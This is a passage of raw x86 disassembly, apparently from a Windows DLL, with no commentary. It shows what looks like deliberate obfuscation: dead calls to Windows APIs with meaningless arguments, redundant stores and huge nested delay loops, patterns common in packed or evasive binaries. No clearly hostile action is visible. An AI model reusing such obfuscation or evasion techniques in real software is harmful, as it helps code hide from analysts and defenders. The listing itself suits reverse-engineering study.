mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
sub ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
pop esi
setl dl
cmp esi, edx
sbb eax, eax
xor edx, edx
neg eax
cmp eax, 0xfffffffd
mov eax, dword [ebp - 0x24]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
or esi, 0xffffffff
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x46c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
mov dword [ebp - 4], esi
call fcn.1002fffe
mov dword [ebp - 0x1c], 4
cmp dword [ebp - 0x1c], 0x19
jl 0x10035377
mov dword [ebp - 0x28], 0x8f69f7fd
lea ecx, [ebp - 0x3c0]
mov dword [ebp - 0x4c], 0x65c829e
mov dword [ebp - 0x30], 0xc520ea0c
mov dword [ebp - 0x2c], esi
push 1
call fcn.1002ff7c
xor edx, edx
mov dword [ebp - 0x18], ebx
inc edx
jmp 0x10034831
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c0]
mov dword [eax + ecx*4], 0xa6ff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1003481e
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffffe
jge 0x10034849
mov eax, dword [ebp - 0x28]
mov ecx, edx
cmp dword [ebp - 0x28], ebx
jne 0x1003484b
mov ecx, ebx
xor eax, eax
cmp ecx, 0xfffffff7
setl al
cmp esi, eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x28]
jne 0x10034862
cmp dword [ebp - 0x28], ebx
jne 0x10034864
mov edx, ebx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 0x68807383
setge al
xor ecx, ecx
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
cmp eax, 0x58e356ec
setge cl
xor esi, esi
mov dword [ebp - 0x2c], ecx
inc esi
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jg 0x100348d7
mov dword [ebp - 0x30], ebx
jmp 0x100348b8
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c0]
mov dword [eax + ecx*4], 0xf8f9
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x100348a5
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100348d2
push ebx
push 0x1b1a
call dword [sym.imp.USER32.dll_EndDialog]
inc dword [ebp - 0x28]
jmp 0x1003489b
lea ecx, [ebp - 0x3c0]
call fcn.1002fffe
mov dword [ebp - 0x28], 0xfffffffc
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x28], 0x1a
jmp 0x10034ab8
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], 0xdc8dfba2
mov dword [ebp - 0x58], 0xfffffff6
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x18], ebx
jmp 0x10034926
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x194], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10034919
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jne 0x10034940
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x20], esi
xor ecx, ecx
mov eax, dword [ebp - 0x20]
cmp eax, 8
mov eax, dword [ebp - 0x190]
setge cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x18c]
cmp ecx, eax
setge dl
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x30], ebx
je 0x100349af
mov dword [ebp - 0x20], ebx
xor edx, edx
mov dword [ebp - 0x2c], 0x31cd1ac8
mov dword [ebp - 0x20], 0x9986e3e4
mov eax, dword [ebp - 0x190]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x58]
cmp eax, ecx
setge dl
sub edx, 0x72157666
mov dword [ebp - 0x2c], edx
jmp 0x10034a8f
mov dword [ebp - 0x4c], 0xe298319b
mov dword [ebp - 0x44], 9
mov dword [ebp - 0x18], ebx
jmp 0x100349d3
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x540], 0x24e19c78
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100349c2
mov eax, dword [ebp - 0x18c]
xor edx, edx
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x190]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x4c]
push 5
setl cl
xor edx, edx
sub ecx, eax
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x190]
test eax, eax
mov eax, dword [ebp - 0x58]
setns dl
xor ecx, ecx
cmp edx, eax
pop eax
setle cl
cmp eax, ecx
mov eax, dword [ebp - 0x30]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
setne dl
add edx, dword [ebp - 0x30]
cmp edx, 7
jb 0x10034a3f
mov ecx, ebx
cmp dword [ebp - 0x28], ebx
je 0x10034a41
mov ecx, esi
mov eax, dword [ebp - 0x24]
xor edx, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x28]
cmp ecx, eax
sete dl
xor ecx, ecx
add edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x540]
cmp edx, eax
mov eax, dword [ebp - 0x20]
setl cl
add eax, ecx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
cmp esi, eax
sbb eax, eax
inc eax
cmp eax, esi
sbb eax, eax
xor ecx, ecx
neg eax
add eax, 0x9878
cmp eax, 0xf6f5
setg cl
add ecx, 0x5c6484c1
mov dword [ebp - 0x2c], ecx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10034ab5
push ebx
push 0x1092
push 0x1f0a
push ebx
push 0x3fa
push 0x258
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x18
jg 0x100348fc
push edi
lea ecx, [ebp - 0x204]
call fcn.1002ff7c
mov dword [ebp - 0x28], ebx
jmp 0x10034ae0
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x14c], ebx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x10034ad3
mov dword [ebp - 0x28], ebx
jmp 0x10034afd
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x204]
mov dword [eax + ecx*4], 0x45cdbe8e
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x10034aea
mov esi, dword [ebp - 0x204]
mov dword [esi + 4], ebx
mov dword [ebp - 0x20], 5
mov dword [ebp - 0x20], 2
cmp dword [ebp - 0x20], ebx
jl 0x10034b5f
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10034b5a
push 0x1616
push 0xdf3
push 0x1872
push 0xfac
push 0x1686
push 0x1130
push 0x2348
push 0x4dd
push 0x12df
call dword [sym.imp.GDI32.dll_BitBlt]
dec dword [ebp - 0x20]
jns 0x10034b1e
inc dword [esi + 4]
cmp dword [esi + 4], 2
jle 0x10034b0b
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x144]
mov eax, dword [ebp - 0x204]
cmp dword [eax], 0xfffffffd
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x14c]
jg 0x10034c62
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], 0x15
jg 0x10034c3a
mov edi, dword [ebp - 0x204]
mov dword [ebp - 0x20], 0xffffffff
xor ecx, ecx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x2c], 0xfffffff6
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp eax, 0xfffffffe
mov eax, dword [ebp - 0x14c]
setg cl
xor edx, edx
cmp dword [esi + 4], ecx
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setne cl
xor edx, edx
cmp ecx, 0x422f8dc7
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
cmp edx, eax
mov dword [edi + 8], edx
setge cl
sub ecx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x144]
sub ecx, eax
jne 0x10034c1e
cmp dword [ebp - 0x28], ebx
jne 0x10034c1e
mov eax, ebx
jmp 0x10034c21
xor eax, eax
inc eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x15
jle 0x10034ba2
push 3
pop edi
mov dword [ebp - 0x28], 0xfffffff4
jmp 0x10034c5a
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10034c57
push 0x1bd2
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x1b
je 0x10034c43
jmp 0x10034c70
mov dword [ebp - 0x2c], 0xffff
mov dword [ebp - 0x2c], 0xb861a716
lea ecx, [ebp - 0x204]
call fcn.1002fffe
xor ecx, ecx
inc ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x18], ebx
jmp 0x10034ca1
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x308], 0x713b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10034c90
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], ecx
jg 0x10034f44
movdqa xmm0, xmmword [0x1000c790]
lea ecx, [ebp - 0x5e4]
push ecx
lea eax, [ebp - 0x5d4]
push eax
push ecx
lea ecx, [ebp - 0x2dc]
movdqu xmmword [ebp - 0x5e4], xmm0
call fcn.1002ffd8
mov dword [ebp - 4], 0x28
lea ecx, [ebp - 0x378]
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x4c], 0xc3532716
push edi
call fcn.1002ff7c
mov byte [ebp - 4], 0x29
mov dword [ebp - 0x18], ebx
jmp 0x10034d12
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x378]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10034d03
mov eax, dword [ebp - 0x2dc]
xor edx, edx
add eax, 4
inc edx
mov dword [eax], ebx
cmp dword [eax], edx
jg 0x10034f1c
mov dword [ebp - 0x28], ebx
jmp 0x10034f5a
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xd0], 0x86cc6b0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x10034f49
mov dword [ebp - 0x38], 0xffffffff
lea ecx, [ebp - 0x494]
mov dword [ebp - 0x2c], 0xfffffffb
push edi
call fcn.1002ff7c
xor esi, esi
mov dword [ebp - 0x4c], edi
inc esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], ebx
jmp 0x10034f98
mov dword [ebp - 0x30], 0x1f7e2799
xor edx, edx
mov dword [ebp - 0x24], 6
inc edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x2c], 0xe280bfe7
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x2c], 0x12b94821
mov dword [ebp - 0x2c], 0xc3c3ae50
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x44], 0x879a9257
mov dword [ebp - 0x2c], 0x538fd232
mov dword [ebp - 0x18], ebx
jmp 0x100353d1
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x6fc], 0x3396d56a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100353c0
push 8
mov dword [ebp - 0x30], ebx
pop esi
cmp dword [ebp - 0x30], 0xfffffffa
je 0x10035595
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x2c], 0x9172ddb7
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x2c], 0x6eab3ae5
mov dword [ebp - 0x2c], 0x9a164e62
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], 0x1832d74
mov dword [ebp - 0x18], ebx
jmp 0x10035433
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x894], 0xfffffff8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10035422
cmp dword [ebp - 0x30], ebx
je 0x10035474
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setle dl
add edx, 0x33e3
imul edx, dword [ebp - 0x30]
add edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x20]
jl 0x10035469
cmp dword [ebp - 0x20], ebx
jne 0x10035469
xor edx, edx
mov eax, ebx
inc edx
jmp 0x1003546e
xor edx, edx
inc edx
mov eax, edx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x20], ebx
je 0x1003549a
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10035562
push ebx
push ebx
push ebx
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
jmp 0x10035562
mov dword [ebp - 0x2c], 0x74b6046e
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], 0xa0211e9a
mov dword [ebp - 0x2c], 0x30971cf7
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x2c], 0x44fb66c1
mov dword [ebp - 0x2c], 0x62600bf0
mov dword [ebp - 0x2c], 0xf2d89188
mov dword [ebp - 0x2c], 2
mov dword [ebp - 0x4c], 0x565b
cmp dword [ebp - 0x4c], 0x59a5
jle 0x10035535
mov edx, ebx
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov ecx, edi
mov esi, ebx
mov edi, edx
sar edi, cl
mov eax, edi
mov ecx, 0x1060e278
and eax, esi
cdq
push edx
push eax
call fcn.1002fe67
inc esi
cmp esi, 0x612a
jl 0x100354f7
mov edi, dword [ebp - 0x34]
mov edx, dword [ebp - 0x20]
inc edi
mov dword [ebp - 0x34], edi
cmp edi, 0x2ea6
jl 0x100354ef
inc edx
mov dword [ebp - 0x20], edx
cmp edx, 0x28e4
jl 0x100354ea
push 3
pop edi
push 8
pop esi
mov dword [ebp - 0x2c], 0x7dbc155
mov dword [ebp - 4], 0x2c
cmp dword [ebp - 0x4c], 0x556e
jge 0x1003555b
mov edx, 0x1000ab08
mov ecx, 0x1060e278
call fcn.10031911
or dword [ebp - 4], 0xffffffff
dec dword [ebp - 0x44]
dec dword [ebp - 0x30]
xor edx, edx
inc edx
jmp 0x100353dc
mov dword [ebp - 0x30], 0x1f7e2799
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x2c], 0xe280bfe7
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x2c], 0x12b94821
mov dword [ebp - 0x2c], 0xc3c3ae50
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x4c], 0x879a9257
mov dword [ebp - 0x2c], 0x538fd232
mov dword [ebp - 0x18], ebx
jmp 0x100355ec
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7ec], 0x3396d56a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100355db
mov dword [ebp - 0x30], ebx
or edi, 0xffffffff
cmp dword [ebp - 0x30], 0xfffffffa
je 0x1003576c
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x2c], 0x9172ddb7
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x2c], 0x6eab3ae5
mov dword [ebp - 0x2c], 0x9a164e62
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], 0x1832d74
mov dword [ebp - 0x34], 0x18
cmp dword [ebp - 0x34], 0x28e
jle 0x10035692
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x714]
xor eax, edi
cdq
push edx
push eax
call fcn.1000db90
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10035668
mov eax, dword [eax]
push eax
call fcn.1004eea6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x714]
call fcn.10030308
inc esi
cmp esi, 0x4ebb
jl 0x1003564c
inc edi
cmp edi, 0x4f70
jl 0x1003564a
push 8
pop esi
mov dword [ebp - 0x18], ebx
jmp 0x100356a8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x874], 0xfffffff8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10035697
cmp dword [ebp - 0x34], 0xfffffd5d
jge 0x100356c2
push 0x1000ab58
call fcn.1004eea6
pop ecx
or edi, 0xffffffff
mov dword [ebp - 4], edi
cmp dword [ebp - 0x30], ebx
je 0x100356fe
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setle dl
add edx, 0x33e3
imul edx, dword [ebp - 0x30]
add edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x20]
jl 0x100356f5
cmp dword [ebp - 0x20], ebx
jne 0x100356f5
mov eax, ebx
jmp 0x100356f8
xor eax, eax
inc eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x20], ebx
je 0x10035726
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1003571b
push ebx
push ebx
push ebx
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
xor edx, edx
inc edx
dec dword [ebp - 0x30]
jmp 0x100355f7
mov dword [ebp - 0x2c], 0x74b6046e
xor edx, edx
inc edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], 0xa0211e9a
mov dword [ebp - 0x2c], 0x30971cf7
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x2c], 0x44fb66c1
mov dword [ebp - 0x2c], 0x62600bf0
mov dword [ebp - 0x2c], 0xf2d89188
mov dword [ebp - 0x2c], 2
mov dword [ebp - 0x2c], 0x7dbc155
dec dword [ebp - 0x4c]
jmp 0x1003571e
mov dword [ebp - 0x2c], 0xe6bc044b
mov dword [ebp - 0x2c], 0x5cd3860a
mov dword [ebp - 0x18], ebx
jmp 0x1003578d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7c], 0x831713b9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1003577f
mov dword [ebp - 0x7c], 0xffffffe7
jmp 0x100357fd
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x18], ebx
jmp 0x100357b4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x588], 0xc38b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100357a3
cmp dword [ebp - 0x7c], ebx
je 0x100357cf
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x34], eax
mov eax, edx
cmp dword [ebp - 0x34], ebx
jne 0x100357d1
mov eax, ebx
cmp eax, 0xbe8f2100
mov eax, edx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x580]
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
mov ecx, dword [ebp - 0x584]
imul ecx, eax
mov eax, dword [ebp - 0x7c]
imul eax, ecx
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x7c]
cmp dword [ebp - 0x7c], 0x1d
jne 0x1003579b
mov eax, 0x1006c5fc
mov dword [ebp - 0x2c], 0xe6bc044b
mov dword [ebp - 0x2c], 0x5cd3860a
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x18], ebx
jmp 0x1003582f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x70], 0x831713b9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10035821
mov dword [ebp - 0x70], 0xffffffe7
jmp 0x1003589f
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x18], ebx
jmp 0x10035856
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5a4], 0xc38b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10035845
cmp dword [ebp - 0x70], ebx
je 0x10035871
mov eax, dword [ebp - 0x5a0]
mov dword [ebp - 0x34], eax
mov eax, edx
cmp dword [ebp - 0x34], ebx
jne 0x10035873
mov eax, ebx
cmp eax, 0xbe8f2100
mov eax, edx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x59c]
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
mov ecx, dword [ebp - 0x5a0]
imul ecx, eax
mov eax, dword [ebp - 0x70]
imul eax, ecx
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 0x1d
jne 0x1003583d
movdqa xmm0, xmmword [0x1000c740]
lea ecx, [ebp - 0x5d4]
push ecx
lea eax, [ebp - 0x5c4]
mov dword [ebp - 0x38], 0x97f6af11
push eax
push ecx
lea ecx, [ebp - 0x50c]
movdqu xmmword [ebp - 0x5d4], xmm0
call fcn.1002ffd8
mov dword [ebp - 0x38], 0xffffffe6
cmp dword [ebp - 0x38], 0xd
jle 0x1003599a
push 3
pop edi
mov dword [ebp - 0x1c], 5
mov dword [ebp - 0x1c], 0x18
jmp 0x10035912
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1003590f
push 0x24f3
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffd
jne 0x100358fa
mov dword [ebp - 0x1c], 0xfffffffb
jmp 0x10035987
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x1003593a
cmp dword [ebp - 0x1c], 0xfffffff9
jne 0x10035921
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xd
jg 0x100358ea
lea ecx, [ebp - 0x50c]
call fcn.1002fffe
mov dword [ebp - 0x50], 0x1f7e2799
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x34], 0x72c8
cmp dword [ebp - 0x34], 0x736c
jle 0x10035a18
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov esi, ebx
mov ebx, dword [ebp - 0x20]
lea eax, [esi + edi]
add eax, ebx
or eax, ecx
mov ecx, 0x1060e278
cdq
push edx
push eax
call fcn.1002fe67
mov ecx, dword [ebp - 0x18]
inc esi
cmp esi, 0x2071
jl 0x100359d2
inc edi
push 0
pop ebx
cmp edi, 0x4787
jl 0x100359cd
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0xf2c
jl 0x100359cb
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x4be8
jl 0x100359c8
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 4], 0x30
cmp dword [ebp - 0x34], 0x6eec
jge 0x10035a5e
mov edx, 0x1000abb8
mov ecx, 0x1060e278
call fcn.10031911
jmp 0x10035a5e
or dword [ebp - 4], 0xffffffff
xor edi, edi
mov dword [ebp - 0x34], 0xfffffffb
inc edi
mov dword [ebp - 0x20], 0xafbd13d
mov dword [ebp - 0x24], 5
mov dword [ebp - 0x30], 0x17
jmp 0x10035b3d
push 2
lea ecx, [ebp - 0x2b8]
call fcn.1002ff7c
mov dword [ebp - 0x18], 0xd99ea7eb
mov dword [ebp - 0x2c], 0xb676bd76
mov dword [ebp - 0x18], ebx
jmp 0x10035ab5
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2b8]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10035aa6
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
inc dword [ebp - 0x20]
test eax, eax
jne 0x10035ad4
cmp dword [ebp - 0x30], 9
jne 0x10035a86
mov dword [ebp - 0x5c], 6
lea ecx, [ebp - 0x1f4]
push 3
call fcn.1002ff7c
mov dword [ebp - 4], 0x32
xor ebx, ebx
mov dword [ebp - 0x34], 0x9e843631
mov dword [ebp - 0x34], 0x43ccc099
mov dword [ebp - 0x2c], 0xed5b6062
mov dword [ebp - 0x18], ebx
jmp 0x10035b91
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1f4]
mov dword [eax + ecx*4], 0x7ddc85f7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10035b7e
mov eax, dword [ebp - 0x1f4]
add eax, 4
mov dword [eax], ebx
cmp dword [eax], 0xfffffff8
mov esi, 0x88acc167
jge 0x10035e35